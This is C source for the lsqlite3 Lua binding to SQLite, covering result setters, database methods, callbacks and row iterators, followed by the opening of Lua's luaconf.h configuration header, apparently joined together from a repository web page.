void *sqlite3_get_auxdata(sqlite3_context*, int);
void sqlite3_set_auxdata(sqlite3_context*, int, void*, void (*)(void*));
#endif
static int lcontext_result(lua_State *L) {
lcontext *ctx = lsqlite_checkcontext(L, 1);
switch (lua_type(L, 2)) {
case LUA_TNUMBER:
sqlite3_result_double(ctx->ctx, luaL_checknumber(L, 2));
break;
case LUA_TSTRING:
sqlite3_result_text(ctx->ctx, luaL_checkstring(L, 2), lua_strlen(L, 2), SQLITE_TRANSIENT);
break;
case LUA_TNIL:
case LUA_TNONE:
sqlite3_result_null(ctx->ctx);
break;
default:
luaL_error(L, "invalid result type %s", lua_typename(L, 2));
break;
}
return 0;
}
static int lcontext_result_blob(lua_State *L) {
lcontext *ctx = lsqlite_checkcontext(L, 1);
const char *blob = luaL_checkstring(L, 2);
int size = lua_strlen(L, 2);
sqlite3_result_blob(ctx->ctx, (const void*)blob, size, SQLITE_TRANSIENT);
return 0;
}
static int lcontext_result_double(lua_State *L) {
lcontext *ctx = lsqlite_checkcontext(L, 1);
double d = luaL_checknumber(L, 2);
sqlite3_result_double(ctx->ctx, d);
return 0;
}
static int lcontext_result_error(lua_State *L) {
lcontext *ctx = lsqlite_checkcontext(L, 1);
const char *err = luaL_checkstring(L, 2);
int size = lua_strlen(L, 2);
sqlite3_result_error(ctx->ctx, err, size);
return 0;
}
static int lcontext_result_int(lua_State *L) {
lcontext *ctx = lsqlite_checkcontext(L, 1);
int i = luaL_checkint(L, 2);
sqlite3_result_int(ctx->ctx, i);
return 0;
}
static int lcontext_result_null(lua_State *L) {
lcontext *ctx = lsqlite_checkcontext(L, 1);
sqlite3_result_null(ctx->ctx);
return 0;
}
static int lcontext_result_text(lua_State *L) {
lcontext *ctx = lsqlite_checkcontext(L, 1);
const char *text = luaL_checkstring(L, 2);
int size = lua_strlen(L, 2);
sqlite3_result_text(ctx->ctx, text, size, SQLITE_TRANSIENT);
return 0;
}
/*
** =======================================================
** Database Methods
** =======================================================
*/
static int db_isopen(lua_State *L) {
sdb *db = lsqlite_getdb(L, 1);
lua_pushboolean(L, db->db != NULL ? 1 : 0);
return 1;
}
static int db_last_insert_rowid(lua_State *L) {
sdb *db = lsqlite_checkdb(L, 1);
/* conversion warning: int64 -> luaNumber */
sqlite_int64 rowid = sqlite3_last_insert_rowid(db->db);
lua_Number n = (lua_Number)rowid;
if (n == rowid)
lua_pushnumber(L, n);
else
lua_pushfstring(L, "%ll", rowid);
return 1;
}
static int db_changes(lua_State *L) {
sdb *db = lsqlite_checkdb(L, 1);
lua_pushnumber(L, sqlite3_changes(db->db));
return 1;
}
static int db_total_changes(lua_State *L) {
sdb *db = lsqlite_checkdb(L, 1);
lua_pushnumber(L, sqlite3_total_changes(db->db));
return 1;
}
static int db_errcode(lua_State *L) {
sdb *db = lsqlite_checkdb(L, 1);
lua_pushnumber(L, sqlite3_errcode(db->db));
return 1;
}
static int db_errmsg(lua_State *L) {
sdb *db = lsqlite_checkdb(L, 1);
lua_pushstring(L, sqlite3_errmsg(db->db));
return 1;
}
static int db_interrupt(lua_State *L) {
sdb *db = lsqlite_checkdb(L, 1);
sqlite3_interrupt(db->db);
return 0;
}
/*
** Registering SQL functions:
*/
static void db_push_value(lua_State *L, sqlite3_value *value) {
switch (sqlite3_value_type(value)) {
case SQLITE_TEXT:
lua_pushlstring(L, (const char*)sqlite3_value_text(value), sqlite3_value_bytes(value));
break;
case SQLITE_INTEGER:
{
sqlite_int64 i64 = sqlite3_value_int64(value);
lua_Number n = (lua_Number)i64;
if (n == i64)
lua_pushnumber(L, n);
else
lua_pushlstring(L, (const char*)sqlite3_value_text(value), sqlite3_value_bytes(value));
}
break;
case SQLITE_FLOAT:
lua_pushnumber(L, sqlite3_value_double(value));
break;
case SQLITE_BLOB:
lua_pushlstring(L, sqlite3_value_blob(value), sqlite3_value_bytes(value));
break;
case SQLITE_NULL:
lua_pushnil(L);
break;
default:
/* things done properly (SQLite + Lua SQLite)
** this should never happen */
lua_pushnil(L);
break;
}
}
/*
** callback functions used when calling registered sql functions
*/
/* scalar function to be called
** callback params: context, values... */
static void db_sql_normal_function(sqlite3_context *context, int argc, sqlite3_value **argv) {
sdb_func *func = (sdb_func*)sqlite3_user_data(context);
lua_State *L = func->db->L;
int n;
lcontext *ctx;
int top = lua_gettop(L);
/* ensure there is enough space in the stack */
lua_checkstack(L, argc + 3);
lua_rawgeti(L, LUA_REGISTRYINDEX, func->fn_step); /* function to call */
if (!func->aggregate) {
ctx = lsqlite_make_context(L); /* push context - used to set results */
}
else {
/* reuse context userdata value */
void *p = sqlite3_aggregate_context(context, 1);
/* i think it is OK to use assume that using a light user data
** as an entry on LUA REGISTRY table will be unique */
lua_pushlightuserdata(L, p);
lua_rawget(L, LUA_REGISTRYINDEX); /* context table */
if (lua_isnil(L, -1)) { /* not yet created? */
lua_pop(L, 1);
ctx = lsqlite_make_context(L);
lua_pushlightuserdata(L, p);
lua_pushvalue(L, -2);
lua_rawset(L, LUA_REGISTRYINDEX);
}
else
ctx = lsqlite_getcontext(L, -1);
}
/* push params */
for (n = 0; n < argc; ++n) {
db_push_value(L, argv[n]);
}
/* set context */
ctx->ctx = context;
if (lua_pcall(L, argc + 1, 0, 0)) {
const char *errmsg = lua_tostring(L, -1);
int size = lua_strlen(L, -1);
sqlite3_result_error(context, errmsg, size);
}
/* invalidate context */
ctx->ctx = NULL;
if (!func->aggregate) {
luaL_unref(L, LUA_REGISTRYINDEX, ctx->ud);
}
lua_settop(L, top);
}
static void db_sql_finalize_function(sqlite3_context *context) {
sdb_func *func = (sdb_func*)sqlite3_user_data(context);
lua_State *L = func->db->L;
void *p = sqlite3_aggregate_context(context, 1); /* minimal mem usage */
lcontext *ctx;
int top = lua_gettop(L);
lua_rawgeti(L, LUA_REGISTRYINDEX, func->fn_finalize); /* function to call */
/* i think it is OK to use assume that using a light user data
** as an entry on LUA REGISTRY table will be unique */
lua_pushlightuserdata(L, p);
lua_rawget(L, LUA_REGISTRYINDEX); /* context table */
if (lua_isnil(L, -1)) { /* not yet created? - shouldn't happen in finalize function */
lua_pop(L, 1);
ctx = lsqlite_make_context(L);
lua_pushlightuserdata(L, p);
lua_pushvalue(L, -2);
lua_rawset(L, LUA_REGISTRYINDEX);
}
else
ctx = lsqlite_getcontext(L, -1);
/* set context */
ctx->ctx = context;
if (lua_pcall(L, 1, 0, 0)) {
sqlite3_result_error(context, lua_tostring(L, -1), -1);
}
/* invalidate context */
ctx->ctx = NULL;
/* cleanup context */
luaL_unref(L, LUA_REGISTRYINDEX, ctx->ud);
/* remove it from registry */
lua_pushlightuserdata(L, p);
lua_pushnil(L);
lua_rawset(L, LUA_REGISTRYINDEX);
lua_settop(L, top);
}
/*
** Register a normal function
** Params: db, function name, number arguments, [ callback | step, finalize], user data
** Returns: true on sucess
**
** Normal function:
** Params: context, params
**
** Aggregate function:
** Params of step: context, params
** Params of finalize: context
*/
static int db_register_function(lua_State *L, int aggregate) {
sdb *db = lsqlite_checkdb(L, 1);
const char *name;
int args;
int result;
sdb_func *func;
/* safety measure */
if (aggregate) aggregate = 1;
name = luaL_checkstring(L, 2);
args = luaL_checkint(L, 3);
luaL_checktype(L, 4, LUA_TFUNCTION);
if (aggregate) luaL_checktype(L, 5, LUA_TFUNCTION);
/* maybe an alternative way to allocate memory should be used/avoided */
func = (sdb_func*)malloc(sizeof(sdb_func));
if (func == NULL) {
luaL_error(L, "out of memory");
}
result = sqlite3_create_function(
db->db, name, args, SQLITE_UTF8, func,
aggregate ? NULL : db_sql_normal_function,
aggregate ? db_sql_normal_function : NULL,
aggregate ? db_sql_finalize_function : NULL
);
if (result == SQLITE_OK) {
/* safety measures for userdata field to be present in the stack */
lua_settop(L, 5 + aggregate);
/* save registered function in db function list */
func->db = db;
func->aggregate = aggregate;
func->next = db->func;
db->func = func;
/* save the setp/normal function callback */
lua_pushvalue(L, 4);
func->fn_step = luaL_ref(L, LUA_REGISTRYINDEX);
/* save user data */
lua_pushvalue(L, 5+aggregate);
func->udata = luaL_ref(L, LUA_REGISTRYINDEX);
if (aggregate) {
lua_pushvalue(L, 5);
func->fn_finalize = luaL_ref(L, LUA_REGISTRYINDEX);
}
else
func->fn_finalize = LUA_NOREF;
}
else {
/* free allocated memory */
free(func);
}
lua_pushboolean(L, result == SQLITE_OK ? 1 : 0);
return 1;
}
static int db_create_function(lua_State *L) {
return db_register_function(L, 0);
}
static int db_create_aggregate(lua_State *L) {
return db_register_function(L, 1);
}
/* create_collation; contributed by Thomas Lauer
*/
typedef struct {
lua_State *L;
int ref;
} scc;
static int collwrapper(scc *co,int l1,const void *p1,
int l2,const void *p2) {
int res=0;
lua_State *L=co->L;
lua_rawgeti(L,LUA_REGISTRYINDEX,co->ref);
lua_pushlstring(L,p1,l1);
lua_pushlstring(L,p2,l2);
if (lua_pcall(L,2,1,0)==0) res=(int)lua_tonumber(L,-1);
lua_pop(L,1);
return res;
}
static void collfree(scc *co) {
if (co) {
luaL_unref(co->L,LUA_REGISTRYINDEX,co->ref);
free(co);
}
}
static int db_create_collation(lua_State *L) {
sdb *db=lsqlite_checkdb(L,1);
const char *collname=luaL_checkstring(L,2);
scc *co=NULL;
int (*collfunc)(scc *,int,const void *,int,const void *)=NULL;
lua_settop(L,3); /* default args to nil, and exclude extras */
if (lua_isfunction(L,3)) collfunc=collwrapper;
else if (!lua_isnil(L,3))
luaL_error(L,"create_collation: function or nil expected");
if (collfunc != NULL) {
co=(scc *)malloc(sizeof(scc)); /* userdata is a no-no as it
will be garbage-collected */
if (co) {
co->L=L;
/* lua_settop(L,3) above means we don't need: lua_pushvalue(L,3); */
co->ref=luaL_ref(L,LUA_REGISTRYINDEX);
}
else luaL_error(L,"create_collation: could not allocate callback");
}
sqlite3_create_collation_v2(db->db, collname, SQLITE_UTF8,
(void *)co,
(int(*)(void*,int,const void*,int,const void*))collfunc,
(void(*)(void*))collfree);
return 0;
}
/*
** trace callback:
** Params: database, callback function, userdata
**
** callback function:
** Params: userdata, sql
*/
static void db_trace_callback(void *user, const char *sql) {
sdb *db = (sdb*)user;
lua_State *L = db->L;
int top = lua_gettop(L);
/* setup lua callback call */
lua_rawgeti(L, LUA_REGISTRYINDEX, db->trace_cb); /* get callback */
lua_rawgeti(L, LUA_REGISTRYINDEX, db->trace_udata); /* get callback user data */
lua_pushstring(L, sql); /* traced sql statement */
/* call lua function */
lua_pcall(L, 2, 0, 0);
/* ignore any error generated by this function */
lua_settop(L, top);
}
static int db_trace(lua_State *L) {
sdb *db = lsqlite_checkdb(L, 1);
if (lua_gettop(L) < 2 || lua_isnil(L, 2)) {
luaL_unref(L, LUA_REGISTRYINDEX, db->trace_cb);
luaL_unref(L, LUA_REGISTRYINDEX, db->trace_udata);
db->trace_cb =
db->trace_udata = LUA_NOREF;
/* clear busy handler */
sqlite3_trace(db->db, NULL, NULL);
}
else {
luaL_checktype(L, 2, LUA_TFUNCTION);
/* make sure we have an userdata field (even if nil) */
lua_settop(L, 3);
luaL_unref(L, LUA_REGISTRYINDEX, db->trace_cb);
luaL_unref(L, LUA_REGISTRYINDEX, db->trace_udata);
db->trace_udata = luaL_ref(L, LUA_REGISTRYINDEX);
db->trace_cb = luaL_ref(L, LUA_REGISTRYINDEX);
/* set busy handler */
sqlite3_trace(db->db, db_trace_callback, db);
}
return 0;
}
#if !defined(SQLITE_OMIT_PROGRESS_CALLBACK) || !SQLITE_OMIT_PROGRESS_CALLBACK
/*
** progress handler:
** Params: database, number of opcodes, callback function, userdata
**
** callback function:
** Params: userdata
** returns: 0 to return immediatly and return SQLITE_ABORT, non-zero to continue
*/
static int db_progress_callback(void *user) {
int result = 1; /* abort by default */
sdb *db = (sdb*)user;
lua_State *L = db->L;
int top = lua_gettop(L);
lua_rawgeti(L, LUA_REGISTRYINDEX, db->progress_cb);
lua_rawgeti(L, LUA_REGISTRYINDEX, db->progress_udata);
/* call lua function */
if (!lua_pcall(L, 1, 1, 0))
result = lua_toboolean(L, -1);
lua_settop(L, top);
return result;
}
static int db_progress_handler(lua_State *L) {
sdb *db = lsqlite_checkdb(L, 1);
if (lua_gettop(L) < 2 || lua_isnil(L, 2)) {
luaL_unref(L, LUA_REGISTRYINDEX, db->progress_cb);
luaL_unref(L, LUA_REGISTRYINDEX, db->progress_udata);
db->progress_cb =
db->progress_udata = LUA_NOREF;
/* clear busy handler */
sqlite3_progress_handler(db->db, 0, NULL, NULL);
}
else {
int nop = luaL_checkint(L, 2); /* number of opcodes */
luaL_checktype(L, 3, LUA_TFUNCTION);
/* make sure we have an userdata field (even if nil) */
lua_settop(L, 4);
luaL_unref(L, LUA_REGISTRYINDEX, db->progress_cb);
luaL_unref(L, LUA_REGISTRYINDEX, db->progress_udata);
db->progress_udata = luaL_ref(L, LUA_REGISTRYINDEX);
db->progress_cb = luaL_ref(L, LUA_REGISTRYINDEX);
/* set progress callback */
sqlite3_progress_handler(db->db, nop, db_progress_callback, db);
}
return 0;
}
#else /* #if !defined(SQLITE_OMIT_PROGRESS_CALLBACK) || !SQLITE_OMIT_PROGRESS_CALLBACK */
static int db_progress_handler(lua_State *L) {
lua_pushliteral(L, "progress callback support disabled at compile time");
lua_error(L);
return 0;
}
#endif /* #if !defined(SQLITE_OMIT_PROGRESS_CALLBACK) || !SQLITE_OMIT_PROGRESS_CALLBACK */
/*
** busy handler:
** Params: database, callback function, userdata
**
** callback function:
** Params: userdata, number of tries
** returns: 0 to return immediatly and return SQLITE_BUSY, non-zero to try again
*/
static int db_busy_callback(void *user, int tries) {
int retry = 0; /* abort by default */
sdb *db = (sdb*)user;
lua_State *L = db->L;
int top = lua_gettop(L);
lua_rawgeti(L, LUA_REGISTRYINDEX, db->busy_cb);
lua_rawgeti(L, LUA_REGISTRYINDEX, db->busy_udata);
lua_pushnumber(L, tries);
/* call lua function */
if (!lua_pcall(L, 2, 1, 0))
retry = lua_toboolean(L, -1);
lua_settop(L, top);
return retry;
}
static int db_busy_handler(lua_State *L) {
sdb *db = lsqlite_checkdb(L, 1);
if (lua_gettop(L) < 2 || lua_isnil(L, 2)) {
luaL_unref(L, LUA_REGISTRYINDEX, db->busy_cb);
luaL_unref(L, LUA_REGISTRYINDEX, db->busy_udata);
db->busy_cb =
db->busy_udata = LUA_NOREF;
/* clear busy handler */
sqlite3_busy_handler(db->db, NULL, NULL);
}
else {
luaL_checktype(L, 2, LUA_TFUNCTION);
/* make sure we have an userdata field (even if nil) */
lua_settop(L, 3);
luaL_unref(L, LUA_REGISTRYINDEX, db->busy_cb);
luaL_unref(L, LUA_REGISTRYINDEX, db->busy_udata);
db->busy_udata = luaL_ref(L, LUA_REGISTRYINDEX);
db->busy_cb = luaL_ref(L, LUA_REGISTRYINDEX);
/* set busy handler */
sqlite3_busy_handler(db->db, db_busy_callback, db);
}
return 0;
}
static int db_busy_timeout(lua_State *L) {
sdb *db = lsqlite_checkdb(L, 1);
int timeout = luaL_checkint(L, 2);
sqlite3_busy_timeout(db->db, timeout);
/* if there was a timeout callback registered, it is now
** invalid/useless. free any references we may have */
luaL_unref(L, LUA_REGISTRYINDEX, db->busy_cb);
luaL_unref(L, LUA_REGISTRYINDEX, db->busy_udata);
db->busy_cb =
db->busy_udata = LUA_NOREF;
return 0;
}
/*
** Params: db, sql, callback, user
** returns: code [, errmsg]
**
** Callback:
** Params: user, number of columns, values, names
** Returns: 0 to continue, other value will cause abort
*/
static int db_exec_callback(void* user, int columns, char **data, char **names) {
int result = SQLITE_ABORT; /* abort by default */
lua_State *L = (lua_State*)user;
int n;
int top = lua_gettop(L);
lua_pushvalue(L, 3); /* function to call */
lua_pushvalue(L, 4); /* user data */
lua_pushnumber(L, columns); /* total number of rows in result */
/* column values */
lua_pushvalue(L, 6);
for (n = 0; n < columns;) {
lua_pushstring(L, data[n++]);
lua_rawseti(L, -2, n);
}
/* columns names */
lua_pushvalue(L, 5);
if (lua_isnil(L, -1)) {
lua_pop(L, 1);
lua_newtable(L);
lua_pushvalue(L, -1);
lua_replace(L, 5);
for (n = 0; n < columns;) {
lua_pushstring(L, names[n++]);
lua_rawseti(L, -2, n);
}
}
/* call lua function */
if (!lua_pcall(L, 4, 1, 0)) {
if (lua_isnumber(L, -1))
result = lua_tonumber(L, -1);
}
lua_settop(L, top);
return result;
}
static int db_exec(lua_State *L) {
sdb *db = lsqlite_checkdb(L, 1);
const char *sql = luaL_checkstring(L, 2);
int result;
if (!lua_isnoneornil(L, 3)) {
/* stack:
** 3: callback function
** 4: userdata
** 5: column names
** 6: reusable column values
*/
luaL_checktype(L, 3, LUA_TFUNCTION);
lua_settop(L, 4); /* 'trap' userdata - nil extra parameters */
lua_pushnil(L); /* column names not known at this point */
lua_newtable(L); /* column values table */
result = sqlite3_exec(db->db, sql, db_exec_callback, L, NULL);
}
else {
/* no callbacks */
result = sqlite3_exec(db->db, sql, NULL, NULL, NULL);
}
lua_pushnumber(L, result);
return 1;
}
/*
** Params: db, sql
** returns: code, compiled length or error message
*/
static int db_prepare(lua_State *L) {
sdb *db = lsqlite_checkdb(L, 1);
const char *sql = luaL_checkstring(L, 2);
int sql_len = lua_strlen(L, 2);
const char *sqltail;
sdb_vm *svm;
lua_settop(L,2); /* sql is on top of stack for call to newvm */
svm = newvm(L, db);
if (sqlite3_prepare(db->db, sql, sql_len, &svm->vm, &sqltail) != SQLITE_OK) {
cleanupvm(L, svm);
lua_pushnil(L);
lua_pushnumber(L, sqlite3_errcode(db->db));
return 2;
}
/* vm already in the stack */
lua_pushstring(L, sqltail);
return 2;
}
static int db_do_next_row(lua_State *L, int packed) {
int result;
sdb_vm *svm = lsqlite_checkvm(L, 1);
sqlite3_stmt *vm;
int columns;
int i;
result = stepvm(L, svm);
vm = svm->vm; /* stepvm may change svm->vm if re-prepare is needed */
svm->has_values = result == SQLITE_ROW ? 1 : 0;
svm->columns = columns = sqlite3_data_count(vm);
if (result == SQLITE_ROW) {
if (packed) {
lua_newtable(L);
if (packed == 1) {
for (i = 0; i < columns;) {
vm_push_column(L, vm, i);
lua_rawseti(L, -2, ++i);
}
}
else {
for (i = 0; i < columns; ++i) {
lua_pushstring(L, sqlite3_column_name(vm, i));
vm_push_column(L, vm, i);
lua_rawset(L, -3);
}
}
return 1;
}
else {
lua_checkstack(L, columns);
for (i = 0; i < columns; ++i)
vm_push_column(L, vm, i);
return svm->columns;
}
}
if (svm->temp) {
/* finalize and check for errors */
result = sqlite3_finalize(vm);
svm->vm = NULL;
cleanupvm(L, svm);
}
else if (result == SQLITE_DONE) {
result = sqlite3_reset(vm);
}
if (result != SQLITE_OK) {
lua_pushstring(L, sqlite3_errmsg(svm->db->db));
lua_error(L);
}
return 0;
}
static int db_next_row(lua_State *L) {
return db_do_next_row(L, 0);
}
static int db_next_packed_row(lua_State *L) {
return db_do_next_row(L, 1);
}
static int db_next_named_row(lua_State *L) {
return db_do_next_row(L, 2);
}
static int dbvm_do_rows(lua_State *L, int(*f)(lua_State *)) {
/* sdb_vm *svm = */
lsqlite_checkvm(L, 1);
lua_pushvalue(L,1);
lua_pushcfunction(L, f);
lua_insert(L, -2);
return 2;
}
static int dbvm_rows(lua_State *L) {
return dbvm_do_rows(L, db_next_packed_row);
}
static int dbvm_nrows(lua_State *L) {
return dbvm_do_rows(L, db_next_named_row);
}
static int dbvm_urows(lua_State *L) {
return dbvm_do_rows(L, db_next_row);
}
static int db_do_rows(lua_State *L, int(*f)(lua_State *)) {
sdb *db = lsqlite_checkdb(L, 1);
const char *sql = luaL_checkstring(L, 2);
sdb_vm *svm;
lua_settop(L,2); /* sql is on top of stack for call to newvm */
svm = newvm(L, db);
svm->temp = 1;
if (sqlite3_prepare(db->db, sql, -1, &svm->vm, NULL) != SQLITE_OK) {
cleanupvm(L, svm);
lua_pushstring(L, sqlite3_errmsg(svm->db->db));
lua_error(L);
}
lua_pushcfunction(L, f);
lua_insert(L, -2);
return 2;
}
static int db_rows(lua_State *L) {
return db_do_rows(L, db_next_packed_row);
}
static int db_nrows(lua_State *L) {
return db_do_rows(L, db_next_named_row);
}
/* unpacked version of db:rows */
static int db_urows(lua_State *L) {
return db_do_rows(L, db_next_row);
}
static int db_tostring(lua_State *L) {
char buff[32];
sdb *db = lsqlite_getdb(L, 1);
if (db->db == NULL)
strcpy(buff, "closed");
else
sprintf(buff, "%p", lua_touserdata(L, 1));
lua_pushfstring(L, "sqlite database (%s)", buff);
return 1;
}
static int db_close(lua_State *L) {
sdb *db = lsqlite_checkdb(L, 1);
lua_pushnumber(L, cleanupdb(L, db));
return 1;
}
static int db_close_vm(lua_State *L) {
sdb *db = lsqlite_checkdb(L, 1);
/* cleanup temporary only tables? */
int temp = lua_toboolean(L, 2);
/* free associated virtual machines */
lua_pushlightuserdata(L, db);
lua_rawget(L, LUA_REGISTRYINDEX);
/* close all used handles */
lua_pushnil(L);
while (lua_next(L, -2)) {
sdb_vm *svm = lua_touserdata(L, -2); /* key: vm; val: sql text */
if ((!temp || svm->temp) && svm->vm)
{
sqlite3_finalize(svm->vm);
svm->vm = NULL;
}
/* leave key in the stack */
lua_pop(L, 1);
}
return 0;
}
static int db_gc(lua_State *L) {
sdb *db = lsqlite_getdb(L, 1);
if (db->db != NULL) /* ignore closed databases */
cleanupdb(L, db);
return 0;
}
/*
** =======================================================
** General library functions
** =======================================================
*/
static int lsqlite_version(lua_State *L) {
lua_pushstring(L, sqlite3_libversion());
return 1;
}
static int lsqlite_complete(lua_State *L) {
const char *sql = luaL_checkstring(L, 1);
lua_pushboolean(L, sqlite3_complete(sql));
return 1;
}
#ifndef WIN32
static int lsqlite_temp_directory(lua_State *L) {
const char *oldtemp = sqlite3_temp_directory;
if (!lua_isnone(L, 1)) {
const char *temp = luaL_optstring(L, 1, NULL);
if (sqlite3_temp_directory) {
sqlite3_free((char*)sqlite3_temp_directory);
}
if (temp) {
sqlite3_temp_directory = sqlite3_mprintf("%s", temp);
}
else {
sqlite3_temp_directory = NULL;
}
}
lua_pushstring(L, oldtemp);
return 1;
}
#endif
static int lsqlite_do_open(lua_State *L, const char *filename) {
sdb *db = newdb(L); /* create and leave in stack */
if (sqlite3_open(filename, &db->db) == SQLITE_OK) {
/* database handle already in the stack - return it */
return 1;
}
/* failed to open database */
lua_pushnil(L); /* push nil */
lua_pushnumber(L, sqlite3_errcode(db->db));
lua_pushstring(L, sqlite3_errmsg(db->db)); /* push error message */
/* clean things up */
cleanupdb(L, db);
/* return */
return 3;
}
static int lsqlite_open(lua_State *L) {
const char *filename = luaL_checkstring(L, 1);
return lsqlite_do_open(L, filename);
}
static int lsqlite_open_memory(lua_State *L) {
return lsqlite_do_open(L, ":memory:");
}
static int lsqlite_newindex(lua_State *L) {
lua_pushliteral(L, "attempt to change readonly table");
lua_error(L);
return 0;
}
/*
** =======================================================
** Register functions
** =======================================================
*/
#define SC(s) { #s, SQLITE_ ## s },
#define LSC(s) { #s, LSQLITE_ ## s },
static const struct {
const char* name;
int value;
} sqlite_constants[] = {
/* error codes */
SC(OK) SC(ERROR) SC(INTERNAL) SC(PERM)
SC(ABORT) SC(BUSY) SC(LOCKED) SC(NOMEM)
SC(READONLY) SC(INTERRUPT) SC(IOERR) SC(CORRUPT)
SC(NOTFOUND) SC(FULL) SC(CANTOPEN) SC(PROTOCOL)
SC(EMPTY) SC(SCHEMA) SC(TOOBIG) SC(CONSTRAINT)
SC(MISMATCH) SC(MISUSE) SC(NOLFS)
SC(FORMAT) SC(NOTADB)
/* sqlite_step specific return values */
SC(RANGE) SC(ROW) SC(DONE)
/* column types */
SC(INTEGER) SC(FLOAT) SC(TEXT) SC(BLOB)
SC(NULL)
/* terminator */
{ NULL, 0 }
};
/* ======================================================= */
static const luaL_Reg dblib[] = {
{"isopen", db_isopen },
{"last_insert_rowid", db_last_insert_rowid },
{"changes", db_changes },
{"total_changes", db_total_changes },
{"errcode", db_errcode },
{"error_code", db_errcode },
{"errmsg", db_errmsg },
{"error_message", db_errmsg },
{"interrupt", db_interrupt },
{"create_function", db_create_function },
{"create_aggregate", db_create_aggregate },
{"create_collation", db_create_collation },
{"trace", db_trace },
{"progress_handler", db_progress_handler },
{"busy_timeout", db_busy_timeout },
{"busy_handler", db_busy_handler },
{"prepare", db_prepare },
{"rows", db_rows },
{"urows", db_urows },
{"nrows", db_nrows },
{"exec", db_exec },
{"execute", db_exec },
{"close", db_close },
{"close_vm", db_close_vm },
{"__tostring", db_tostring },
{"__gc", db_gc },
{NULL, NULL}
};
static const luaL_Reg vmlib[] = {
{"isopen", dbvm_isopen },
{"step", dbvm_step },
{"reset", dbvm_reset },
{"finalize", dbvm_finalize },
{"columns", dbvm_columns },
{"bind", dbvm_bind },
{"bind_values", dbvm_bind_values },
{"bind_names", dbvm_bind_names },
{"bind_blob", dbvm_bind_blob },
{"bind_parameter_count",dbvm_bind_parameter_count},
{"bind_parameter_name", dbvm_bind_parameter_name},
{"get_value", dbvm_get_value },
{"get_values", dbvm_get_values },
{"get_name", dbvm_get_name },
{"get_names", dbvm_get_names },
{"get_type", dbvm_get_type },
{"get_types", dbvm_get_types },
{"get_uvalues", dbvm_get_uvalues },
{"get_unames", dbvm_get_unames },
{"get_utypes", dbvm_get_utypes },
{"get_named_values", dbvm_get_named_values },
{"get_named_types", dbvm_get_named_types },
{"rows", dbvm_rows },
{"urows", dbvm_urows },
{"nrows", dbvm_nrows },
/* compatibility names (added by request) */
{"idata", dbvm_get_values },
{"inames", dbvm_get_names },
{"itypes", dbvm_get_types },
{"data", dbvm_get_named_values },
{"type", dbvm_get_named_types },
{"__tostring", dbvm_tostring },
{"__gc", dbvm_gc },
{ NULL, NULL }
};
static const luaL_Reg ctxlib[] = {
{"user_data", lcontext_user_data },
{"get_aggregate_data", lcontext_get_aggregate_context },
{"set_aggregate_data", lcontext_set_aggregate_context },
{"aggregate_count", lcontext_aggregate_count },
{"result", lcontext_result },
{"result_null", lcontext_result_null },
{"result_number", lcontext_result_double },
{"result_double", lcontext_result_double },
{"result_int", lcontext_result_int },
{"result_text", lcontext_result_text },
{"result_blob", lcontext_result_blob },
{"result_error", lcontext_result_error },
{"__tostring", lcontext_tostring },
{NULL, NULL}
};
static const luaL_Reg sqlitelib[] = {
{"version", lsqlite_version },
{"complete", lsqlite_complete },
#ifndef WIN32
{"temp_directory", lsqlite_temp_directory },
#endif
{"open", lsqlite_open },
{"open_memory", lsqlite_open_memory },
{"__newindex", lsqlite_newindex },
{NULL, NULL}
};
static void create_meta(lua_State *L, const char *name, const luaL_Reg *lib) {
luaL_newmetatable(L, name);
lua_pushstring(L, "__index");
lua_pushvalue(L, -2); /* push metatable */
lua_rawset(L, -3); /* metatable.__index = metatable */
/* register metatable functions */
luaL_openlib(L, NULL, lib, 0);
/* remove metatable from stack */
lua_pop(L, 1);
}
LUALIB_API int luaopen_lsqlite3(lua_State *L) {
create_meta(L, sqlite_meta, dblib);
create_meta(L, sqlite_vm_meta, vmlib);
create_meta(L, sqlite_ctx_meta, ctxlib);
luaL_getmetatable(L, sqlite_ctx_meta);
sqlite_ctx_meta_ref = luaL_ref(L, LUA_REGISTRYINDEX);
/* register (local) sqlite metatable */
luaL_register(L, "sqlite3", sqlitelib);
{
int i = 0;
/* add constants to global table */
while (sqlite_constants[i].name) {
lua_pushstring(L, sqlite_constants[i].name);
lua_pushnumber(L, sqlite_constants[i].value);
lua_rawset(L, -3);
++i;
}
}
/* set sqlite's metatable to itself - set as readonly (__newindex) */
lua_pushvalue(L, -1);
lua_setmetatable(L, -2);
return 1;
}
This source diff could not be displayed because it is too large. You can view the blob instead.
/*
** $Id: luaconf.h,v 1.172 2012/05/11 14:14:42 roberto Exp $
** Configuration file for Lua
** See Copyright Notice in lua.h
*/
#ifndef lconfig_h
#define lconfig_h
#define _XOPEN_SOURCE 600 // Makes it compile under linux
#include <limits.h>
#include <stddef.h>
/*
** ==================================================================
** Search for "@@" to find all configurable definitions.
** ===================================================================
*/
#define LUA_COMPAT_ALL
/*
@@ LUA_ANSI controls the use of non-ansi features.
** CHANGE it (define it) if you want Lua to avoid the use of any
** non-ansi feature or library.
*/
#if !defined(LUA_ANSI) && defined(__STRICT_ANSI__)
#define LUA_ANSI
#endif
#if !defined(LUA_ANSI) && defined(_WIN32) && !defined(_WIN32_WCE)
#define LUA_WIN /* enable goodies for regular Windows platforms */
#endif
#if defined(LUA_WIN)
#define LUA_DL_DLL
#define LUA_USE_AFORMAT /* assume 'printf' handles 'aA' specifiers */
#endif
#if defined(LUA_USE_LINUX)
#define LUA_USE_POSIX
#define LUA_USE_DLOPEN /* needs an extra library: -ldl */
#define LUA_USE_READLINE /* needs some extra libraries */
#define LUA_USE_STRTODHEX /* assume 'strtod' handles hexa formats */
#define LUA_USE_AFORMAT /* assume 'printf' handles 'aA' specifiers */
#define LUA_USE_LONGLONG /* assume support for long long */
#endif
#if defined(LUA_USE_MACOSX)
#define LUA_USE_POSIX
#define LUA_USE_DLOPEN /* does not need -ldl */
#define LUA_USE_READLINE /* needs an extra library: -lreadline */
#define LUA_USE_STRTODHEX /* assume 'strtod' handles hexa formats */
#define LUA_USE_AFORMAT /* assume 'printf' handles 'aA' specifiers */
#define LUA_USE_LONGLONG /* assume support for long long */
#endif
#if defined(__posix) || defined(__linux) || \
defined(__unix) || defined(__APPLE__)
#define LUA_USE_POSIX
#endif
/*
@@ LUA_USE_POSIX includes all functionality listed as X/Open System
@* Interfaces Extension (XSI).
** CHANGE it (define it) if your system is XSI compatible.
*/
#if defined(LUA_USE_POSIX)
#define LUA_USE_MKSTEMP
#define LUA_USE_ISATTY
#define LUA_USE_POPEN
#define LUA_USE_ULONGJMP
#define LUA_USE_GMTIME_R
#endif
/*
@@ LUA_PATH_DEFAULT is the default path that Lua uses to look for
@* Lua libraries.
